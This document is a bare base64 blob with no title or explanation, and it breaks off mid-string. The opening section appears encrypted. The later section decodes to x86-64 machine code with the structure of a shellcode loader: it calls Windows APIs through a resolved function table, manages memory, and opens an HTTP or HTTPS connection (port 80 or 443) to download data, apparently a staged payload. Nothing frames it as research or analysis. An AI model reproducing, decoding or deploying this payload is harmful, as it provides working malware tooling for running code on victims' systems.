MQnQrWkVkT3h5dnVCZk8zbzI1a0JsYy9jQmxpSmI1aVQ2RDV4cWJVSTIveXBDQVozNzdRTnRHeVZTQlpiTi9ReUJrZVYwOEhXak5naFJnZld2NVp5bDgyc3pySDhudXk1ZTRpVzJGMHREOTl0Z1NqTWtMbWloUTZwb2pkdjFOUzQ0OTY4Q0xIWEljYmltWW1DblFGMHd5bTNNbTFBMmoyUGZQRjJqVDQ3YldFaWVHYnVmRzVwOUdINXdaQm8weTR1Sjk3TWdWSGcrMjZlWDRQZWY5eDFhUW94aXlqS0hzZHZVOHRKb1hianNocm1JY0lGNFg2RzhaYTlWVk1MWkdZemx4c0tTYk9NQklxOC94bmJ5Q2hFcWFjQkxFRnZZdVRoMmtXMWdoakxRZzBsc0NIRHJUSFBQTXBLUVhFNndUYmo5Nnp6RWhiQTh0cXdIcHRyZ055eVlNR0pmTi93eGhrMGdPcWtHS0ljSGw3SkRRcnhLUVNUcWZobjBhTTJiRW85Y1ptd0V2RkVqYWJYTm54YkNWc292anBCN3NESDJBMkFaL1N2UVVrdlF6d2dFcFRXK1VEMWx2VTcrVnZxc2JvczhkN3ZTODlpUnIveFp1L1lDbUpSWDhySzgwZ291SnBpbEtNWjZrMGZVNFJGWnBjRnY3ajFZQzEvZXNXUWtOaVZ4ODIxcnJXWXNhaXpTTWNEZmp6b0wycnNITitNQ0VqYzJzSU5JUFNybDhQNk9zUHBmVXd6V3kwWTk0bFhuM1EwYXM4U2JqbFltWW1PWmJGQ2g3dUNCRDdLR1BkRG1QakprOHlrTGdTSzB0SGlSZ0RHYjAzM1NROUl3OVVzdE1DNVVnS1l3WDh1bEVabWI5QVUvV2svZTA5S1NFQktNZVd3SFdaK3FZN09UNG9KeURyTXh3b2RoTXplMkFzSG0vemFxVjZEMEFHNGFkRWdzM01LbGE5aVB0VVl6MHNrVktYN2htNmI1MTcrMjZuK3U0a2VBUzZySFMyQkZYMzZPcU9Va2orVW1mZmRsTDQ1M2NZcG54WG5FMFFlSm1IYU52RGJNVHcyc2JmUmgvTlk2cHFQY3NDQkllbzdDOURuM0lHTkZuTXQwNkFwUmRMSGJoR1R5eS9LR05ReGcxTnJNVWxqVkkwZi9pT2tEZEpMcEtRRzVoSGtmOHMrbHZXK2RZaC84SmJWQ2pQelRCTGJ5UWRUUC9jNHhHcXAyNXBLaFV4eHQ2d29sM2xRKzVQMVNZcWFGT2JSQWcrcFlCL1c2aVZwUVBrQXVwb2JxS1RZcWtXTWN2RHhCVmJGMEJBMXNjOFpyQjBzeUVzbjVudlBrczZ6OHp1VFJRRUE1SlZ1T25XUGhSNnVOamdYeWZKd2c1bHI5cTVVWTVQUDdGRHorRVNRK0J6TWFRSmc2dFZsN2NiRnBUOS9vYnpMV1hQUnlFUnZseVdCTXB6c2p3MnFqWU5IRzEwT3BneVJKYTRDbjFYcFIycGN4SXlUamZ4WUYvVmlDeTJIcnBQdTF4SnZvcmkxalVlYmVwbk11T2hSRjRxclhxQ3pMK0RzQmh1cHRhcC9jbHp1NW9qOGdNenRTY2JONEpodlU4MzhFOERteXlvVXRXUEhUcDRmVStQTElZNzFiZ0h1eHVBTWpTYlhJYzh0dGQ0eGE4WUk5RlpRdnBrQ25wQ0E3endXM0xZOG55MzhxeFlJZ09Tb3R5RXl5ckNlWm53ZFRjY2Uyb1FPMmxQc0VjQjNpemN6YlNTUnd4NEx6djE0NkYwYW9zSnBCZENYKzZtWHFzS1hmS1NhTkFobENUQ0l4dmlFWUVEK0VuZThkaGdPbHlmVVZ5ZHJ1WVpPOWFYc1hjcFVKSTg4SFVaU0FOaEVFWGlidkFYRTgwM0dTQTRlelNyWVlZRU1IRHF5ck9jSGRtY1VFTDRSalRwWHJod0hKdGdxejlSSis1WkpTdVM4SmNNTmorQlVHSEhiTXVrbmQva09Ia2d6cXM2UWROK2NaK1lubDdqNGh6elB3ZlBReUVOb2NDQmV4eWFEM0xpR3ZMbWRlRWVRMDlOV093VGNQWk00RHpyWVRkMVY5Umc5TW1Hb0JQTTl1bEs3NHJsOUxEeW94QWIwN0VocGJXM05XaUlZQldGdVp6NXBGVlphN0ptV1JoQ3pYcEtHelpueVp5L1JXYVR0SWJISUxVdVhhSE9xaExUbGxOSWRsYnlrVlhRYXIwbHNNbnpYWDU4VjFWY0VXSzM0Z0RCN2E0NjV2R2hkcHFhOEdrUHh1U3VHV083WlJON0RaRVBUanhMSFFNeXlXS090ZjlIYzYrNzhoSGVpSHFnaXBrUlMyUWJVZnhTU1A3WlhYNjBLK0JQQmJYTFppT2R2K0EvQ2dUeTlXd2M0U0VsZUxYK2Y1SDNvU1l1WnR5QWZ5QXNtLzNyWlR5b3F2QzBFVmlWZ1F1ZEhGYnJESkdyOVE1ays5emp1MENtQ2xkYW9jajFhK3kraXNpamtFNFBrL0VaakVBT0NvelpsQUxtak5OWms4SUtaOHh3ZjN2cnRaYitqNVRJcFBvWEhFSnYxaHJSTU9vN0xMczJqRC9pN3NrK2hLc1l0U1hrTGNnazhKakplcU9LNHBsYWo3WHZQOGVuL2QwWm9MYUJ2ekZ5YWJRUTBqOStuYmlXckh1REQrSDBkVWxEeVNaY2UzRjNBLzdwR3pjUFUwOEhyRVg4ZjNtb0kzblM2ZG94Y0VUQjRmL3o2SW8rSWsvREc3cFNIaEVDcHoyZ0xSbG9yV09NR28yNjd3Qml2aGRmYkg0MjFTZWFnbzhyZnBPZkVZOGt2NkFSZUhBc0x3MGpwNnZPVm1xWVdKeGhKRnFieTBmdUZtbmtRczQ2WDE3VmErdzNWTXlmd0JFcCtRaXBrMzI0ZU1JcGpIL1pxLzYwWDBiWms1QmRTQVQzRjF3WlNBNitqUXp6bzVzalliWVI5UmZxN2lPVnRvcXdNRU54ZmxwaGZlcXBtY01kYmNBV1Jzcm4zdktzU2cwb0UxcGJEMDRER3lFb2VXT0I2VGpJWWJwcXZlUEhVMmJyUUdWUEN2VEpEN3BEL2dxekd5UDV5SlRSWlcxZUF3VTlKVisvSVJqRnRHNDRYN2NSeUd4UVlYTVBabzQvZkNrN1RsNG5NVzBkZVB0R01mRFhPMCtKTWRYSkV4TlBVdFI2bGZUOFpTRTFnVUdKUzNxTzAyR1A1eXZjVDFHdXdHNmZJUFNSVW54SStlanpsREpDMUQ0eWt1dlNkQVNhdzNwU3JjLzJBb3ZmSHRlY2lXSnhGcTdBUHJONVJ1SEtVMkdzTUxzRjF5RUFBWnVqQlkrYzJuQkt2ZTRYV0lSVkw5TkFMWTlaY05JQzNyUkR3QlFlclExMGNXWVZCN0NaczZaenF5TlZ4WG5jcEtyQ0xsMDVXaDUwU25uZ2tIZUVLdkh2cXFxVjJhRzFlQ2U5eHFHMVBWYS9LTVFvdHk2NDYzTUU2NlRYVkVRYi9NR0FRMHlicUpqYVlGWUVlaXFOL0RRcWh6Nkk3Zk1IMVBqcHF1eUplM2VtYmpzbk96bHNrNVQ3VkloNGVta2lmTG9RZnVCV21zdXVJNWJBellVT01tOEwwemkvOWsrS3pGOTRidUY2M3B2MzdNeSt6UVhXUDYrczBHT2J0YW83eFFTVFM0RWs0c2YxOFpCanZHck5jVTR6YnBNOGZLVFlyOG9kMGRPT2VoSlJnbVR1Z1dsMjFoelozcWRHWlR1eEJOd3pidnl1cmg0ZUlNVVZQSlc4S1hqSEJqc0lsSDQyTFdnMmh3bkQxUVpSeGtrb0h6NVNpTmJQNWE1SmkyWldMRWZ4OEp5N1c4ZFk2MVNWNWVQM1VLNXJrckhFNUFKMnpaUVN4WE1CVENRcjdvdHp4eWpubUlYS3EyazhoWE1RZk54UkxNY2FYcjEwbysxcVhFWkVtT0ozRXpHWEdhV3VLc256N0hyc2RBMFk0dGprYTBIYWJEUkV2YlpLN0VkYmU3OHVMR3owMDY0M05yR3JGSEkrd09weVNjN1J5QVJ0eGhuQzNUVHdDbW82Zk0wVzAzVmplenBzZCtzcWVnV25rOEtTb0dWaFZlTENxcHBNUVNMR3VCc1hoNHBvVnFDZDk5MGxhV21Rb0RQd1MzYkE1a2tjWTZYRVpiUDNLd3Z6QUJ5dG9zSGFzdEtHU3NUUFhDVGtKMGxLejNNT1BGVmMyaDZCZUYzNFRWS1l0cm1PK2JwL2tKL0NleDk0SzBySFRjbVk0Ymk0ZTdHN2V2S3RXVGxXWDRxSHdWaTlVdVdJQlRqWi9UVHMxTzNMQk44dCtldnA5VGRhWDBLM0F1NEN1S0pYbHM5K2ZvSkc0WFg1cjluU0hXMnYwU0t2UU1HS3lnc0xqMmJSWXcra3FibzlJTlJ4UTJrb2h2MUp0RkIzSVBHV0lzQy9UcnkyWXc3TXBJL0w4OEhsdFgySVFDenZyM0JDYzdaTitSQysxVWUxckRKWFprdG1Tb0tWMHdqSWVVR3MvSVVvaG8zcUExdlNxR2E1aklidHJWSWczak1ldzlVeFE0ZmZSaDZmNjN2S24yc3QvZlIwbzIxQWJ0V1I5dU1xNmw5dzZJWHpWWHpUaUtnd0Y1S3NEelNZNndkdDFYaWRablFtNitheFJnY3VtakZMa2VXY3pkNUd0ZmVCTnZQWlJpQ2dSNHpDRTk0VUM4T3gxdEMvaFRZbkdJc1QxQUd4cnBNN3NqUnhOK24vSzdVZFZZcCtrNmZTK3ZTTkVjOTFIT1hCajFLcnZ4WmJLWTFmNDFuV0VrOGpMSzQxTy9kb1pCZzN1SEkwdGNJdXdLSG5JSVdzbEtpdVYrZUNEdXFYVW5OQ01LYis3SHhoRkx5UTAxa0szbElGVjM0NldncVMzbzVCTk9FMGthSTNXZUgxdGNhQXFxSVA3VHhHcklDWTlTNDlNSGxtcUloT1h1U0N0SjNlSDlGL2tlakswWEcwcXNuSzBJWjg4Q3JxeDhaKzJFL2VnTmVZTjEvWEVONUd5SnFSVWZsSE01aHZrNWpZWi9jR3RDeEhmM0ZJNFh1TFVZSWJuV2xaYUNnUVdJR0RzMktDUHRKeEwwbGhkS052SlA0dUZmQVA2bFo5MHVWYzM1dUVpVWhSdWJtcVpOcllSNHQzOWt3K0FsRExORmZnekl4MFBjK0dweEYwaTQwV0VieXRtMWoxMC9hbWJZYS90VDZmbUxTSGdCeHdqQ1hLWG12VUcyeVBsWFNLN2wzcyt1T1k4REdYSzNCc1pNaEt0WCtGQmRjQmtkRm05RXNzMVNxbXBnVXM3MjJBeHhueHN4WUlVUXVJVmp0UmxETGZxVWh3UGQvUUYxZ05GUkVzUFpuZmtITWJmZnNhV1BOYVJjOGtRMmVXeXdOMjlmQ25TcytBRFMrUE9DTThwVE5lVmtKM2FaTVJiRTFqdzdpWEdUNklGWXB3dEtmRTdVelovcnRJZ1Q5elFGajN3elN3UnhsTzVtTGh2V2Z5QWNNOElHdmx6cVAyZHRTMnJqVUplQ3JzZWxmdVQvSld3MUhnUlpkeVorTkNSMjlpSWYwbWpkUFVWYmkrM0RpcWsyQyt2NitOais2MVBnNG5TZzQrUlpMaEYrSklpWXpjQmVKbFVCTDN0YXpDaHliV1N4ZlBiK0ZKMEIraE5jS2VUVzJDdmdGNEk4eXF5OWp2VWJHQ3dHRVBjYlpCbk9ZWFFMRlBUSnkxYklENm1hZVN3UGswMlIxb1k0aTBINzBOaU43OVJDbldCckdHRHRLNklkY3NyaEYrTlh5d1NHT2lmTG9wVnZNYVhLTDM3bFdPS21KS3BmRGNBUnQrOWFtNDJRM2NMOGpVa3RXTEpaM2V5TTdGUTVjRVFnYXpWbUFlbDZKYzhlL0lGbk9PZTVYWGxOeTJzTEtKWmh6eWgwZGZZVksyc0YvcFB0ajBKWUhjcGN5S1RENy80ODcrZ2lLeG9KNFBsSWZkQ1dmN3lKN3NwNkd2YnJTZFNXcm9HV2FJWm0rY1I4Z0VacjdCWnJZS0F4QWtqbUhYdTEzamVFR1BTM05UOW1wOFVyT1ZWVEhReHZBbE1mbkRZcCt3MWNwMXp5UTlqdkxkcEl3aU1BbHF5R0FkYmF3Q3VPajNQVkVidnkwclAyL3dhV1NILzVzMEZCK05acFVNR1diSnZhTGVSNm9mb1B2VHp2OTlMQURuK0dLaWdoUHdnY29xY2E0T2x5N0JsTnZjMTNSUkRrK3l6TlM3QS9nRXdFT0hoYjBXUXBZZzlRVGJ6dXBZSm1BSlJQWDdsd0pXb3NHT1krc1phVHVoMit1UTdPUGN0T2JmSXVyRE5TL21qS3QrNFB2b1F0OTZWZSt3cXNLMytUc29aS3RmenRTa0R0d1FkSlZZMWFNOUpSWWtHbHI5WjArdVZoaHpJSFNFckVNREdIekdZbDAwdDA5Rnc0UTV6MDVlSEFEZ2tVQ0tDUTR2eE4xU29JVEs1dWtoM3VuYWFNV1cxbTBETEk1ZEJKVGlpdUE0dzFPUEhaenhldDN2SHkvcjJTNlBabUZ5bHdYcW81Y2hLQk1iQURMS1FGU1h1VWdidGlMZ1JXb1NiRTNaajdjMzJKVXBKNFRFOVMxMUN5ZXNRRWhNM1VCajhDd0Zqak5DQkhXUkJoV0pISUp0enc1aW9VQ0ttZ0lsQm9HT0kzVmR2ZFJFUHc2WkRtNVJpQ2w2eURMM0NyYXYvK1A4YmJZSmtKak1NM0kwZjNFMzNsaGJMSUZtZTBSS1dZTHYzV1hNWHgwNWNzK2dGYlRyS0JWbVBqMFBnUHlWTFExMU5vUXhXUzRDUHRrM3ZGRFRBTktQckdhUE5Tc2RGekJNd2h1N0wxQUZWb2w2dCtUb1Q1UnNtQW5PaVJLRVEyL0dHSE1RODNiYVlZV1czZHNyQWtyZzA4OFRUcGFvWVJTVCtZUlhGQ0xYMDU0R3g1ajVvOGE0T3krQUd5Ym8wRkZOZmg4dTdyUXJITHpNd1lSTVcvUy9lWkxYclRoUld0T3M4WXhNRDh3cWZhQVNaeXZMd2E2NjVuQnVPMWlYNzA4TFU0MVdaK0d6ZGdJTkRmRVJxREJvQTIyZS9QWm5VM0NkNXVZdXl2RTVUT3BMcVR3eEFwUm9HNDNPZ3FJbWM1VzAzc2ZVMnZaLzNTY0diTU9sZlJIeE9YYWwyU05mMWhQK2pwRlNubTVmV3VOaWhweWRMME5mRDNBbklwb294RXZHZkdIa2hhVVJnY0ZNVmpDWnB4WkM2SElqSnJDbHhTZ2sxV1BuSEFwdmtVU3BLZFZxaFp6UGxHeGxXR1RuZmdsVVhvdzFKd0RaeEw3U2R1TzUxQjlnWG5TbFdwQmdBRVVDUFVOSEl1OTF3eVlBbnBDK1NlUjh1VHZxVHVEZTBBV0xDL09ETy9IUnNRdm13SzlvdmljZFU1RWN1LzZZYmZaV2tXL0RGZmJPRDdtdlRCdHNtNlNXWWhsZFhyK01KckJrNzRmUU1KU2F4dm1vY2F6QjM0U0NtMXRhR0JrN1NGSTJyaG5TL0RlQzlJcnBxaFJ0OW9pQ0MzOUU1OUJVZXhUMG9wMnY5Sy9iT3RLb3NHTURTeDFMM0hHMVZkRjNhalQ1NDRDUWZqeTNERm1UUDZDcU5BYU9ZbTByRmpybm9LdWorM0I1dThSMUx5M1l0S05iY2c2R0toOG9WQllIOHRpWlRRcGNiRnlXT3N4NGNSMzVqN1U1K1RzU1c1RVdnSkdwaG1ybXRsQklSajM0eHZNSmFHbTZ1T0FFNW56WFpEQTJpYW5oNnZCQ0hBV3B5TEYyVG55blhqOXBPM0Z1bEhZa1g5azVNN3VBcWtaZHZNcG44cyt6eVpjbzlUSWFVaFh2WXk0R1VlU3dlbjEvaTZZUTVITDZpcFM4VURDYnlTNmFhZkFJVDVtUDNsR2ZVWmRBTlVJVlhycUxsN2VSVkVpVjhNbHRxWmExWWRqU0gwZmgyYWFiSHZZN1ZzOVpnQ0xiYy9DTk9KbmYxcDY2RjU4MVJiY1Nuc2p4WVJEcjZleWVYQ3lSK2tnaUpjT2ZqU2NUVzlseFFHdXB2NmZFV3V2OElpWFRjaENCcm5tRXVuRkV3QVEzRFdoR3kyQUJqcGFpWDBUN3lXSzgweE55NURVQTJBTFRWRU5HQTUra0FBZkhWWUE2WGd6UWZkemlkSjZITzFNZWFrOHVUT2pieXh3ZW9vcHJNb0tzNXFKMVREL1JGSWo0djNRRlpoTjl6WGt6ODJkVEsxenhFWUFqZ055OTBXQnd6aGlEdUgxNVJkWlFGdzBMRVlRalpjZ0ZBK040YzN0cGRKa3VVSk5za0s0azBIWFA3RXJUVlBUdzJ6QjA0WTdsU2laMkRlU0tDNkFCYXBOaEpjeGZYRlRMclNJZk80QW1ZRFE1cHdGQTE3UUpSUDFtdE1xODVCWXVrcmlQWWRvamZoc3cyVVdWUTh2elVoVXBkQktWR0ZwTEUvM3g3S1V4dXdMSmd6QUhZMW5hZ1N2dkt6SUFldStaaDM5a3pleEx3R0R6MWdkNGZUZWUyTDZNMG1XK1RjempmZmNIVk9iWGdWOFF1dkpqNEpmdU52NXB1ZEFkcVFpRWJKQjhld2lJWDRCY2JQS2dqQUZMbGc2TjlaNDB0RUp0TnRBV3RNV2s0Um9GdGdkMG56bmZGSmF2T3hZWW9yOVo0dG1MR20vem5RR0djeTNQK2M4cCtBRlpIak0xWEdSZ3dPdHlwb1FsVzM5U3NFRkkrZWxKRjN3NmEvMWtjZWdZZEoxc2J0UTVCQktrVitmTkVtbHV6UnB1WU1IMTh5NDBNVHVUWXlWL1VRQkFKb2hZb2xiVEtnditQNFc3eUt5NkxMUWRMRzErVlQ1VzRJZHN6RkNJOXVWRU9FYWhZOWRqakRRUmxQVTNyN0I2Q3pUTVdrZllBalg1VGdUWmJCWnJLWEZ4b1JFOS9BeGduS1B2RWlyNzJVQ0s0Wnd2UFVaaEFhV1dXYWh1TXkyRTFicXhjcklab0tWZDFUVm1pZC9iUitqOXI5ODR2cytUMWVpczFkNW1TYlUzbWM2WGpKek5zd3hBRy9DM2ltdHFoekJ5eWZVekxaNy8wOFZ4WDVJa2FOVG1KRmdpaHlMZCtpa2Vjc2xLZ2lDNHVyY3FxK2VmU3F4cjJVemNFSjlWR2xtUW1iYmNXTlFUY1VRRWVLbWFmMGc5MkE0dlFIejJlbjJnV2ZNNUJNTlZCWU00MWxOZHZNMGkweXV5M3FVelV6V1BsNFdXM0RkS2svSDJ4M3BCMjdDQTZaUDdWWmIvRTFhSnJQSWNBb3JmVXJvdmE2K0lTL2Z2TXBMS3FLSitseVlHZVM1UmVDL0lGdEJ0UkhVN0lzYXV2cjhJWGNwS2lEYS9vYnFvUEY0VzEzTnliVDI3eU8zNTgxZUhpNmpwekRJTTlKUkRRbmNWTEpaT0N4dzNGRlhWc1Z5WXlvZEpmQ1poVHRsWkQzZ1dPcUhKVi83NnZqZzFzSTU4MkVxM1JvcWtKKzJpWnA4NUxsdERCRWlWNTVmSDM2bGZCd1Voc3JpVExRek9pUlV1R0JWVDk2S3g2SDdwOE1OTTdZWWFvTGxZWTdxM1J4NklMRk9nQ1BzcEQzUE1PRzFQSHhHNXRSZXlHZ2YyenE2b01lNThsUWN6cHVxcTlJSGZNN0o4MjVwTFNKU2dLUlZFUHdqR1VCY1FXTXFjK25MNURXcUxxU050b2dzTmtLaGdtSnBOYm10UUNHQ1NMSUoyTm9yWFVvTC83UFlxdzQydzFTdXUwYVRmVXpyNldQSk5uT0d0Y29hRUZQRFptSFdSdHJMcXpoaVowMHBGK1B6OWpPZU1yY1pTenNHaXZPSU5zZWFtdkpqbmc4YlNXaWNIZjlhN3diRXA5T3dZKy9RQ3IrNHV1NlhuL1V6RmdrSmxWb1ludEdudjhpMWhQWU1tUG53bFlLK2IzNmFNUDY0eFRtNURWSUVhUXNZdk9HR296d1hvdDl6blZBYTZLNlJudlRocnVNNUpCYURVeVp1UHBDTVl5OFJoOTVMMTFOcVhUL2JqOVFhWUN3OXFzY2xGS3k3VXpFZnVBakRsV3ZOR3dmWjBNREFqVXBCbE1XZ25xYURrMXNhbUNjWGQxM1R3NERpVm5KZzZiVEY0WG13bXhYOU5menJnV3RYbitGN0hvVWpmakFCWmZWYnlKaTE5cTZQRlJPM2g1amxSS2x0elpJMU9yVWVYWndqTlFWaFI2TjRoV2V1QmtWVHY4eHlMZmpESUhEd0pKdkJxYldzSXBLdHlvL0YyY3NTbVZBdnlkRVdBYWU1TUlzT1l2VDVyWkNrMWJWVnRudEhSbi9IaVRGYmpEMmtQcEFnWWpnZWQvdEJkc3dxV3BBT2VGc3d3ajdxekkyd2FwSEdiRWZia3JzSmthWndFeFpicTZmYkYvK2tzNzRrc1p4OXRxWjFZN2xyaFFLK2JkMmJpSmtMbWx6b2VENG1aTlpiQXA3dXRRcGRSZVk3LytWTFRsakQ2VXRXRHVOR3lscVZpbGJTMEVCWnNPZkkyc0FVMHB3cWlnSlBQSkNhdW84VFJwWk1jQklENGlnUHdBQVZVaUo1VWlCN0xBQUFBQklpVTBRU0l0RkVFaUpSZWhJaTBYb1NJdEFTRWlKUmVCSWkwWG9TSXRJS0VpTFZlQklpMFhvU1luSVNJbkI2SDgwQUFCSWlVWFlTSXRGNkVpTFFGQklpVVhnU0l0RjZFaUxTQ2hJaTFYZ1NJdEY2RW1KeUVpSndlaFVOQUFBU0lsRjBFaURmZGdBZEFkSWczM1FBSFVLdVAvLy8vL3A5UU1BQUVpTFJlaUxBSW5DU0l0RjJFRzVCQUFBQUVHNEFEQUFBTGtBQUFBQS85QklpVVhJU0lOOXlBQjFDcmovLy8vLzZjRURBQUJJaTBYb2l3Q0p3a2lMUmNoSmlkQklpMVVRU0luQjZQUTRBQUJJaTBYSVNJbEY2RWlOaFhELy8vOUJ1RUFBQUFDNkFBQUFBRWlKd2VpS09BQUFTSXRGNkVnRk1BSUFBRWlKUmNCSWkwWG9pd0NKd0V5TmdORDkvLzlJaTBYb1NJMVFGRWlMUmVoSWc4QUVTSXROd0UySndVbUp5RWlKd2VnMlBRQUFTSXRGNkVpTFFDaElpMVhvU0kyS0dBWUFBRWlKd3VqOU9RQUFTSWxGdUVpTFJlaElpNEFZQndBQVNEdEZ1QStGV0FJQUFFaUxSZWhJaTBnb1NJdEY2RWlMVURCSWkwWG9TWW5JU0luQjZEVXpBQUJJaWNKSWkwWG9TSWxRTUVpTFJlaElpMEF3U0lYQWRRcTQvLy8vLytuUUFnQUF4MFg4QUFBQUFPc3FTSXRGNkVpTFFEQ0xWZnhJd2VJRlNJMktNQUlBQUVpTFZlaElBY3BJZzhJSVNJblIvOUNEUmZ3QlNJdEY2SXVBTkFJQUFEdEYvSGZIeDBYOEFRQUFBT3RVU0l0RjZFaUxTQ2hJaTBYb2kxWDhTSVBDQmtpTEZOQklpMFhvU1luSVNJbkI2S0l5QUFCSWljRklpMFhvaTFYOFNJUENCa2lKRE5CSWkwWG9pMVg4U0lQQ0JraUxCTkJJaGNBUGhIOEJBQUNEUmZ3QlNJdEY2SXVBTUFJQUFEdEYvSGVkU0l0RjZJdUFEQVVBQUlQNEFuVVVTSXRGNkVpSndlZ1FBZ0FBaGNBUGhFd0JBQUJJaTBYb2k0QU1CUUFBZy9nQmRSQklpMFhvU0FWSUJ3QUFTSWxGOE9zUFNJdEY2RWlMZ0VnSEFBQklpVVh3U0l0RjZJdUFRQU1BQUlQNEFYUlFTSXRGNkVpSndlZ0pNd0FBaVVXMGczMjBBSFVUU0l0RjZJdUFRQU1BQUlQNEFnK0U2Z0FBQUVpTFJlaElpY0hvNkRRQUFJbEZ0SU45dEFCMUUwaUxSZWlMZ0VBREFBQ0QrQUlQaE1VQUFBQklpMFh3aXdDRCtBTjBDMGlMUmZDTEFJUDRCSFVSU0l0RjZFaUp3ZWp3RWdBQTZaOEFBQUJJaTBYd2l3Q0QrQUYwQzBpTFJmQ0xBSVA0QW5VL1NJMlZjUC8vLzBpTFJlaElpY0hvWHdZQUFJWEFkQk5JalpWdy8vLy9TSXRGNkVpSndlZ01DZ0FBU0kyVmNQLy8vMGlMUmVoSWljSG9jaEFBQU90S1NJdEY4SXNBZy9nRmRBdElpMFh3aXdDRCtBWjFEa2lMUmVoSWljSG9rUjBBQU9zbVNJdEY4SXNBZy9nSGRSdElpMFhvU0luQjZHQWJBQURyRFpEckNwRHJCNURyQkpEckFaQklpMFhvaTRBTUJRQUFnL2dDZFdkSWkwWG9TSXVBU0FjQUFFaUZ3SFJYU0l0RjZFaUxnRUFIQUFDSndraUxSZWhJaTRCSUJ3QUFTWW5RdWdBQUFBQklpY0hvYXpVQUFFaUxSZWhJaTBCUVNJdFY2RWlMaWtnSEFBQkJ1QURBQUFDNkFBQUFBUC9RU0l0RjZFakhnRWdIQUFBQUFBQUFTSXRGNklzQWljSklpMFhvU1luUXVnQUFBQUJJaWNIb0lEVUFBRWlMVGVoSWkwWFFRYmdBd0FBQXVnQUFBQUQvMExnQUFBQUFTSUhFc0FBQUFGM0RWVWlCN0FBREFBQklqYXdrZ0FBQUFFaUpqWkFDQUFESGhUQUNBQUFBQUFBQXg0VjhBZ0FBQUFBQUFNZUZkQUlBQUFBQUFBREhoWGdDQUFBQUFtQ0VTSTJGd0FFQUFFRzRhQUFBQUxvQUFBQUFTSW5CNktRMEFBREhoY0FCQUFCb0FBQUFTSTJGd0FBQUFFaUpoZGdCQUFCSWpVWEFTSW1GQ0FJQUFNZUY0QUVBQUFBQkFBREhoUkFDQUFBQUFRQUFTSXVGa0FJQUFFaUxnTWdBQUFCSWk1V1FBZ0FBU0kyS0VBVUFBRWlObGNBQkFBQkppZEZCdUFBQUFCQzZBQUFBQVAvUWhjQjFDcmdBQUFBQTZWb0VBQUNMaGRRQkFBQ0QrQVFQbE1BUHRzQ0poWFFDQUFDRHZYUUNBQUFBZEFxQmpYZ0NBQUFBTUlBQVNJdUZrQUlBQUVpTGdOQUFBQURIUkNRZ0FBQUFBRUc1QUFBQUFFRzRBQUFBQUxvQUFBQUF1UUFBQUFELzBFaUpoV2dDQUFCSWc3MW9BZ0FBQUhVS3VBQUFBQURwNlFNQUFFaUxoWkFDQUFCSWk0RFlBQUFBZzcxMEFnQUFBSFFJUWJpN0FRQUE2d1pCdUZBQUFBQklqWlhBQUFBQVNJdU5hQUlBQUVqSFJDUTRBQUFBQU1kRUpEQUFBQUFBeDBRa0tBTUFBQUJJeDBRa0lBQUFBQUJCdVFBQUFBRC8wRWlKaFdBQ0FBQklnNzFnQWdBQUFBK0VzUUlBQUVpTGhaQUNBQUJJaTRENEFBQUFTSXVWa0FJQUFFeU5raEFHQUFCTWpVWEFTSXVOWUFJQUFFakhSQ1E0QUFBQUFJdVZlQUlBQUlsVUpEQkl4MFFrS0FBQUFBQkl4MFFrSUFBQUFBQkJ1UUFBQUFCTWlkTC8wRWlKaFZnQ0FBQklnNzFZQWdBQUFBK0VLd0lBQUlPOWRBSUFBQUIwVDR1RmVBSUFBQ1VBRUFBQWhjQjBRTWVGVkFJQUFBUUFBQURIaFR3Q0FBQ0FNd0FBU0l1RmtBSUFBRWlMZ09BQUFBQklqWlU4QWdBQVNJdU5XQUlBQUVHNUJBQUFBRW1KMExvZkFBQUEvOUJJaTRXUUFnQUFTSXVBQUFFQUFFaUxqVmdDQUFESFJDUWdBQUFBQUVHNUFBQUFBRUc0QUFBQUFMb0FBQUFBLzlDRndBK0VnUUVBQU1lRk5BSUFBQVFBQUFESGhUQUNBQUFBQUFBQVNJdUZrQUlBQUVpTGdBZ0JBQUJNallVMEFnQUFTSTJWTUFJQUFFaUxqVmdDQUFCSXgwUWtJQUFBQUFCTmljRkppZEM2RXdBQUlQL1FoY0FQaEN3QkFBQ0xoVEFDQUFBOXlBQUFBQStGR3dFQUFNZUZOQUlBQUFnQUFBQklpNFdRQWdBQVNNZUFRQWNBQUFBQUFBQklpNFdRQWdBQVNJdUFDQUVBQUVpTGxaQUNBQUJNallKQUJ3QUFTSTJWTkFJQUFFaUxqVmdDQUFCSXgwUWtJQUFBQUFCSmlkRzZCUUFBSVAvUWhjQVBoTG9BQUFCSWk0V1FBZ0FBU0l1QVFBY0FBRWlGd0ErRW93QUFBRWlMaFpBQ0FBQklpMEJJU0l1VmtBSUFBRWlMa2tBSEFBQkJ1UVFBQUFCQnVBQXdBQUM1QUFBQUFQL1FTSW5DU0l1RmtBSUFBRWlKa0VnSEFBQklpNFdRQWdBQVNJdUFTQWNBQUVpRndIUlR4NFU0QWdBQUFBQUFBRWlMaFpBQ0FBQklpNERvQUFBQVNJdVZrQUlBQUVpTGtrQUhBQUJCaWRKSWk1V1FBZ0FBU0l1U1NBY0FBRXlOaFRnQ0FBQklpNDFZQWdBQVRZbkJSWW5RLzlDSmhYd0NBQUJJaTRXUUFnQUFTSXVBOEFBQUFFaUxsVmdDQUFCSWlkSC8wRWlMaFpBQ0FBQklpNER3QUFBQVNJdVZZQUlBQUVpSjBmL1FTSXVGa0FJQUFFaUxnUEFBQUFCSWk1Vm9BZ0FBU0luUi85Q0R2WHdDQUFBQUQ0U1pBQUFBU0l1RmtBSUFBRWlMZ0VnSEFBQklpWVZJQWdBQVNJdUZrQUlBQUV5TGdFQUhBQUJJaTRXUUFnQUFTSTJRTUFjQUFFaUxoWkFDQUFCSUJTQUhBQUJJaTQxSUFnQUFUWW5CU1luSVNJbkI2QWsxQUFCSWk0V1FBZ0FBU0l0QUtFaUxsWkFDQUFCSWpZb1lCZ0FBU0luQzZNb3hBQUJJaVlWQUFnQUFTSXVGU0FJQUFFaUxnQWdaQUFCSU80VkFBZ0FBZEFlNEFBQUFBT3NHaTRWOEFnQUFTSUhFQUFNQUFGM0RWVWlKNVVpRDdIQklpVTBRU0lsVkdNZEY5QUFBQUFESFJld0FBQUFBU0l0RkVJdUFEQVVBQUlQNEFYVVFTSXRGRUVnRlNBY0FBRWlKUmZqckQwaUxSUkJJaTRCSUJ3QUFTSWxGK0VpTFJSQklpNEFZQVFBQVNJWEFENFQzQUFBQVNJdEZFRWlMZ0JnQkFBQk1pMFVZU0l0VkVFaUJ3aXdFQUFCSWkwMFFTSUhCSEFRQUFQL1FpVVgwZzMzMEFBK0l1QUFBQUVpTFJSaElpd0JJaXdCSWkwQVlTSXRWR0V5TlNna